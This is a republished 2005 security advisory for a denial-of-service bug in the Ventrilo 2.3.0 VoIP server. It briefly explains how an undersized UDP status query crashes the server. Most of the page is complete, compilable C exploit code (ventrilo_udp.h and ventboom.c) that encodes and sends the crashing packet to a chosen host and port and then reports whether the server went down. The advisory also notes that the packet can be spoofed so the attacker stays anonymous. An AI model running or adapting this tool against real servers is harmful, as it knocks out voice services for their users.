首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Ventrilo Denial of Service
来源:http://aluigi.altervista.org 作者:Luigi 发布时间:2005-08-26  

Ventrilo Denial of Service

Summary
"Ventrilo is a widely known and used VoIP software developed by Flagship Industries."

Lack of proper packet handling within Ventrilo allow attackers to crash the program and cause a DoS.

Credit:
The information has been provided by Luigi Auriemma .
The original article can be found at: http://aluigi.altervista.org/adv/ventboom-adv.txt

Details
Vulnerable Systems:
* Ventrilo version 2.3.0

Other than the TCP port used for accepting clients the Ventrilo server binds also the same UDP port for handling the status requests sent by the people to get informations and details.

The problem is in the code that controls the status queries, in fact exists a check for the handling of possible malformed data which interrupts the server when is received a packet with an amount of data lower than how much specified in the header of the query.
For example a normal status query (command 1 with 16 bytes of data reported in the status header) that doesn't contain data is able to exploit this vulnerability.

In the log file of the Windows servers will be dumped the following message:
ERROR: ServerLoop exception detected. Aborting.

On other platforms (tested Linux x86) happens a crash in free().

Naturally is also possible to spoof the malformed packet for an anonymous exploiting of the bug.

Exploit:
winerr.h can be found at: http://www.securiteam.com/unixfocus/5UP0I1FC0Y.html

ventrilo_udp.h:
/*

Ventrilo UDP status algorithm 0.1
by Luigi Auriemma
e-mail: aluigi at autistici.org
web: http://aluigi.altervista.org


INTRODUCTION
-===========
This algorithm is the method used by the chat program Ventrilo
(http://www.ventrilo.com) for encoding the UDP packets used to get
the status informations.

FUNCTIONS
-========
struct ventrilo_udp_head
void ventrilo_udp_head_dec(unsigned char *data)
void ventrilo_udp_head_enc(unsigned char *data)
void ventrilo_udp_data_dec(unsigned char *data, int len, unsigned short key)
unsigned short ventrilo_udp_data_enc(unsigned char *data, int len)
unsigned short ventrilo_udp_crc(unsigned char *data, int len)

USAGE EXAMPLE
-============
Watch my "Ventrilo status retriever" code for a simple and practical example:

http://aluigi.altervista.org/papers/ventstat.zip

LICENSE
-======
Copyright 2005 Luigi Auriemma

This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA

http://www.gnu.org/licenses/gpl.txt

*/

#include <time.h>
#ifdef WIN32
#include <winsock.h>
#define VENTRILO_RAND clock()
#else
#include <netinet/in.h>
#include <sys/times.h>
#define VENTRILO_RAND times(0)
#endif

typedef struct {
unsigned short pckkey; // key for decoding this header
unsigned short zero; // ever 0
unsigned short cmd; // command number: 1 generic info, 2 for details
unsigned short id; // packet ID used for tracking the replies
unsigned short totlen; // total data size (for data splitted in packets)
unsigned short len; // size of the data in this packet (max 492)
unsigned short totpck; // total amount of packets (max 32)
unsigned short pck; // current packet number
unsigned short datakey; // key for decoding the data
unsigned short crc; // checksum of the total plain-text data
} ventrilo_udp_head;

const static unsigned char ventrilo_udp_encdata_head[] =
"\x80\xe5\x0e\x38\xba\x63\x4c\x99\x88\x63\x4c\xd6\x54\xb8\x65\x7e"
"\xbf\x8a\xf0\x17\x8a\xaa\x4d\x0f\xb7\x23\x27\xf6\xeb\x12\xf8\xea"
"\x17\xb7\xcf\x52\x57\xcb\x51\xcf\x1b\x14\xfd\x6f\x84\x38\xb5\x24"
"\x11\xcf\x7a\x75\x7a\xbb\x78\x74\xdc\xbc\x42\xf0\x17\x3f\x5e\xeb"
"\x74\x77\x04\x4e\x8c\xaf\x23\xdc\x65\xdf\xa5\x65\xdd\x7d\xf4\x3c"
"\x4c\x95\xbd\xeb\x65\x1c\xf4\x24\x5d\x82\x18\xfb\x50\x86\xb8\x53"
"\xe0\x4e\x36\x96\x1f\xb7\xcb\xaa\xaf\xea\xcb\x20\x27\x30\x2a\xae"
"\xb9\x07\x40\xdf\x12\x75\xc9\x09\x82\x9c\x30\x80\x5d\x8f\x0d\x09"
"\xa1\x64\xec\x91\xd8\x8a\x50\x1f\x40\x5d\xf7\x08\x2a\xf8\x60\x62"
"\xa0\x4a\x8b\xba\x4a\x6d\x00\x0a\x93\x32\x12\xe5\x07\x01\x65\xf5"
"\xff\xe0\xae\xa7\x81\xd1\xba\x25\x62\x61\xb2\x85\xad\x7e\x9d\x3f"
"\x49\x89\x26\xe5\xd5\xac\x9f\x0e\xd7\x6e\x47\x94\x16\x84\xc8\xff"
"\x44\xea\x04\x40\xe0\x33\x11\xa3\x5b\x1e\x82\xff\x7a\x69\xe9\x2f"
"\xfb\xea\x9a\xc6\x7b\xdb\xb1\xff\x97\x76\x56\xf3\x52\xc2\x3f\x0f"
"\xb6\xac\x77\xc4\xbf\x59\x5e\x80\x74\xbb\xf2\xde\x57\x62\x4c\x1a"
"\xff\x95\x6d\xc7\x04\xa2\x3b\xc4\x1b\x72\xc7\x6c\x82\x60\xd1\x0d";

const static unsigned char ventrilo_udp_encdata_data[] =
"\x82\x8b\x7f\x68\x90\xe0\x44\x09\x19\x3b\x8e\x5f\xc2\x82\x38\x23"
"\x6d\xdb\x62\x49\x52\x6e\x21\xdf\x51\x6c\x76\x37\x86\x50\x7d\x48"
"\x1f\x65\xe7\x52\x6a\x88\xaa\xc1\x32\x2f\xf7\x54\x4c\xaa\x6d\x7e"
"\x6d\xa9\x8c\x0d\x3f\xff\x6c\x09\xb3\xa5\xaf\xdf\x98\x02\xb4\xbe"
"\x6d\x69\x0d\x42\x73\xe4\x34\x50\x07\x30\x79\x41\x2f\x08\x3f\x42"
"\x73\xa7\x68\xfa\xee\x88\x0e\x6e\xa4\x70\x74\x22\x16\xae\x3c\x81"
"\x14\xa1\xda\x7f\xd3\x7c\x48\x7d\x3f\x46\xfb\x6d\x92\x25\x17\x36"
"\x26\xdb\xdf\x5a\x87\x91\x6f\xd6\xcd\xd4\xad\x4a\x29\xdd\x7d\x59"
"\xbd\x15\x34\x53\xb1\xd8\x50\x11\x83\x79\x66\x21\x9e\x87\x5b\x24"
"\x2f\x4f\xd7\x73\x34\xa2\xf7\x09\xd5\xd9\x42\x9d\xf8\x15\xdf\x0e"
"\x10\xcc\x05\x04\x35\x81\xb2\xd5\x7a\xd2\xa0\xa5\x7b\xb8\x75\xd2"
"\x35\x0b\x39\x8f\x1b\x44\x0e\xce\x66\x87\x1b\x64\xac\xe1\xca\x67"
"\xb4\xce\x33\xdb\x89\xfe\xd8\x8e\xcd\x58\x92\x41\x50\x40\xcb\x08"
"\xe1\x15\xee\xf4\x64\xfe\x1c\xee\x25\xe7\x21\xe6\x6c\xc6\xa6\x2e"
"\x52\x23\xa7\x20\xd2\xd7\x28\x07\x23\x14\x24\x3d\x45\xa5\xc7\x90"
"\xdb\x77\xdd\xea\x38\x59\x89\x32\xbc\x00\x3a\x6d\x61\x4e\xdb\x29";

void ventrilo_udp_head_dec(unsigned char *data) {
int i;
unsigned short *p;
unsigned char a1,
a2;

p = (unsigned short *)data;
data += 2;

*p = ntohs(*p);
a1 = *p;
if(!a1) return;
a2 = *p >> 8;

for(i = 0; i < 18; i++) {
data[i] -= ventrilo_udp_encdata_head[a2] + (i % 5);
a2 += a1;
}

for(i = 0; i < 9; i++) {
p++;
*p = ntohs(*p);
}
}

void ventrilo_udp_head_enc(unsigned char *data) {
int i;
unsigned short *p;
unsigned char a1,
a2;

p = (unsigned short *)data;
data += 2;

*p = (((VENTRILO_RAND * 0x343fd) + 0x269ec3) >> 16) & 0x7fff;
a1 = *p;
a2 = *p >> 8;
if(!a2) {
a2 = 69;
*p |= (a2 << 8);
}

for(i = 0; i < 10; i++) {
*p = htons(*p);
p++;
}

for(i = 0; i < 18; i++) {
data[i] += ventrilo_udp_encdata_head[a2] + (i % 5);
a2 += a1;
}
}

void ventrilo_udp_data_dec(unsigned char *data, int len, unsigned short key) {
int i;
unsigned char a1,
a2;

a1 = key;
if(!a1) return;
a2 = key >> 8;

for(i = 0; i < len; i++) {
data[i] -= ventrilo_udp_encdata_data[a2] + (i % 72);
a2 += a1;
}
}

unsigned short ventrilo_udp_data_enc(unsigned char *data, int len) {
int i;
unsigned short key;
unsigned char a1,
a2;

key = (((VENTRILO_RAND * 0x343fd) + 0x269ec3) >> 16) & 0x7fff;
a1 = key;
a2 = key >> 8;
if(!a2) {
a2 = 1;
key |= (a2 << 8);
}

for(i = 0; i < len; i++) {
data[i] += ventrilo_udp_encdata_data[a2] + (i % 72);
a2 += a1;
}

return(key);
}

unsigned short ventrilo_udp_crc(unsigned char *data, int len) {
unsigned short crc = 0;
const static unsigned short table[] = {
0x0000, 0x1021, 0x2042, 0x3063, 0x4084, 0x50a5, 0x60c6, 0x70e7,
0x8108, 0x9129, 0xa14a, 0xb16b, 0xc18c, 0xd1ad, 0xe1ce, 0xf1ef,
0x1231, 0x0210, 0x3273, 0x2252, 0x52b5, 0x4294, 0x72f7, 0x62d6,
0x9339, 0x8318, 0xb37b, 0xa35a, 0xd3bd, 0xc39c, 0xf3ff, 0xe3de,
0x2462, 0x3443, 0x0420, 0x1401, 0x64e6, 0x74c7, 0x44a4, 0x5485,
0xa56a, 0xb54b, 0x8528, 0x9509, 0xe5ee, 0xf5cf, 0xc5ac, 0xd58d,
0x3653, 0x2672, 0x1611, 0x0630, 0x76d7, 0x66f6, 0x5695, 0x46b4,
0xb75b, 0xa77a, 0x9719, 0x8738, 0xf7df, 0xe7fe, 0xd79d, 0xc7bc,
0x48c4, 0x58e5, 0x6886, 0x78a7, 0x0840, 0x1861, 0x2802, 0x3823,
0xc9cc, 0xd9ed, 0xe98e, 0xf9af, 0x8948, 0x9969, 0xa90a, 0xb92b,
0x5af5, 0x4ad4, 0x7ab7, 0x6a96, 0x1a71, 0x0a50, 0x3a33, 0x2a12,
0xdbfd, 0xcbdc, 0xfbbf, 0xeb9e, 0x9b79, 0x8b58, 0xbb3b, 0xab1a,
0x6ca6, 0x7c87, 0x4ce4, 0x5cc5, 0x2c22, 0x3c03, 0x0c60, 0x1c41,
0xedae, 0xfd8f, 0xcdec, 0xddcd, 0xad2a, 0xbd0b, 0x8d68, 0x9d49,
0x7e97, 0x6eb6, 0x5ed5, 0x4ef4, 0x3e13, 0x2e32, 0x1e51, 0x0e70,
0xff9f, 0xefbe, 0xdfdd, 0xcffc, 0xbf1b, 0xaf3a, 0x9f59, 0x8f78,
0x9188, 0x81a9, 0xb1ca, 0xa1eb, 0xd10c, 0xc12d, 0xf14e, 0xe16f,
0x1080, 0x00a1, 0x30c2, 0x20e3, 0x5004, 0x4025, 0x7046, 0x6067,
0x83b9, 0x9398, 0xa3fb, 0xb3da, 0xc33d, 0xd31c, 0xe37f, 0xf35e,
0x02b1, 0x1290, 0x22f3, 0x32d2, 0x4235, 0x5214, 0x6277, 0x7256,
0xb5ea, 0xa5cb, 0x95a8, 0x8589, 0xf56e, 0xe54f, 0xd52c, 0xc50d,
0x34e2, 0x24c3, 0x14a0, 0x0481, 0x7466, 0x6447, 0x5424, 0x4405,
0xa7db, 0xb7fa, 0x8799, 0x97b8, 0xe75f, 0xf77e, 0xc71d, 0xd73c,
0x26d3, 0x36f2, 0x0691, 0x16b0, 0x6657, 0x7676, 0x4615, 0x5634,
0xd94c, 0xc96d, 0xf90e, 0xe92f, 0x99c8, 0x89e9, 0xb98a, 0xa9ab,
0x5844, 0x4865, 0x7806, 0x6827, 0x18c0, 0x08e1, 0x3882, 0x28a3,
0xcb7d, 0xdb5c, 0xeb3f, 0xfb1e, 0x8bf9, 0x9bd8, 0xabbb, 0xbb9a,
0x4a75, 0x5a54, 0x6a37, 0x7a16, 0x0af1, 0x1ad0, 0x2ab3, 0x3a92,
0xfd2e, 0xed0f, 0xdd6c, 0xcd4d, 0xbdaa, 0xad8b, 0x9de8, 0x8dc9,
0x7c26, 0x6c07, 0x5c64, 0x4c45, 0x3ca2, 0x2c83, 0x1ce0, 0x0cc1,
0xef1f, 0xff3e, 0xcf5d, 0xdf7c, 0xaf9b, 0xbfba, 0x8fd9, 0x9ff8,
0x6e17, 0x7e36, 0x4e55, 0x5e74, 0x2e93, 0x3eb2, 0x0ed1, 0x1ef0
};

while(len--) {
crc = table[crc >> 8] ^ *data ^ (crc << 8);
data++;
}

return(crc);
}

#undef VENTRILO_RAND

/* Eof */

ventboom.c:
/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "ventrilo_udp.h"

#ifdef WIN32
#include <winsock.h>
#include "winerr.h"

#define close closesocket
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>

#define ONESEC 1
#endif

#define VER "0.1"
#define PORT 3784
#define MAXPCK 32
#define MAXPCKSZ 492
#define TIMEOUT 2
#define RETRY 2

int ventrilo_get_status(int sd, u_short cmd, u_char *pass, int bug);
int timeout(int sock);
u_int resolv(char *host);
void std_err(void);

struct sockaddr_in peer;

int main(int argc, char *argv[]) {
int sd;
u_short port = PORT;

#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif


setbuf(stdout, NULL);

fputs("\n"
"Ventrilo <= 2.3.0 server crash "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@autistici.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);

if(argc < 2) {
printf("\n"
"Usage: %s <host> [port(%hu)]\n"
"\n", argv[0], port);
exit(1);
}

if(argc > 2) port = atoi(argv[2]);
peer.sin_addr.s_addr = resolv(argv[1]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;

printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), port);

sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();

fputs("\n- check server:\n", stdout);
if(ventrilo_get_status(sd, 1, "", 0) < 0) {
fputs("\nError: no reply received, probably the server is not online\n\n", stdout);
exit(1);
}

sleep(ONESEC);

fputs("\n- send BOOM packet:\n", stdout);
ventrilo_get_status(sd, 1, "", 1);

sleep(ONESEC);

fputs("\n- check server:\n", stdout);
if(ventrilo_get_status(sd, 1, "", 0) < 0) {
fputs("\nServer IS vulnerable!!!\n\n", stdout);
} else {
fputs("\nServer doesn't seem vulnerable\n\n", stdout);
}

close(sd);
return(0);
}

int ventrilo_get_status(int sd, u_short cmd, u_char *pass, int bug) {
ventrilo_udp_head *stat;
int i,
len,
totlen,
retry;
u_short id,
crc;
u_char buff[20 + MAXPCKSZ],
full[MAXPCKSZ * MAXPCK],
*data;

stat = (ventrilo_udp_head *)buff;
data = buff + 20;

strncpy(data, pass, 16);

stat->zero = 0;
stat->cmd = cmd;
stat->id = id = time(NULL);
stat->totlen = 16;
stat->len = 16;
stat->totpck = 1;
stat->pck = 0;
stat->crc = ventrilo_udp_crc(data, 16);
stat->datakey = ventrilo_udp_data_enc(data, 16);
ventrilo_udp_head_enc(buff);

for(retry = RETRY; retry; retry--) {
sendto(sd, buff,
20 + (bug ? 0 : 16), // BUG exploited here
0, (struct sockaddr *)&peer, sizeof(peer));
if(!timeout(sd)) break;
}
if(!retry) return(-1);

i = 0;
totlen = 0;
memset(full, ' ', sizeof(full)); // in case of packet loss

for(;;) {
len = recvfrom(sd, buff, sizeof(buff), 0, NULL, NULL);
ventrilo_udp_head_dec(buff);

if(stat->id != id) continue;

if((len < 20) ||
(stat->totpck < stat->pck) ||
(stat->totpck > MAXPCK) ||
(stat->len > MAXPCKSZ)) {
fputs("\nError: wrong or incomplete reply received\n", stdout);
return(0);
}

len = stat->len;
totlen += len;
if(totlen > sizeof(full)) break;

ventrilo_udp_data_dec(data, len, stat->datakey);
memcpy(full + (stat->pck * MAXPCKSZ), data, len);

if(++i == stat->totpck) break;
if(totlen == stat->totlen) break;
if(timeout(sd) < 0) break;
}

crc = ventrilo_udp_crc(full, totlen);
if(ventrilo_udp_crc(full, totlen) != stat->crc) {
printf("- wrong checksum: mine is %04x while should be %04x\n\n", crc, stat->crc);
}

fwrite(full, totlen, 1, stdout);
return(0);
}

int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;

tout.tv_sec = TIMEOUT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}

u_int resolv(char *host) {
struct hostent *hp;
u_int host_ip;

host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_int *)hp->h_addr;
}
return(host_ip);
}

#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif

/* EoF */



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·GTChat Remote Denial Of Servic
·Home Ftp Server Multiple Vulne
·WinAce Temporary File Handling
·Operator Shell (osh) Buffer Ov
·Open DC hub Buffer Overflow
·One Exploit Play More OS
·Raising The Bar For Windows Ro
·Adobe Version Cue VCNative Pre
·Electronic Mail for UNIX (Elm)
·Adobe Version Cue -lib Command
·MyBB finduser Search SQL Injec
·Gopher <= 3.0.9 VIEWS Remot
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved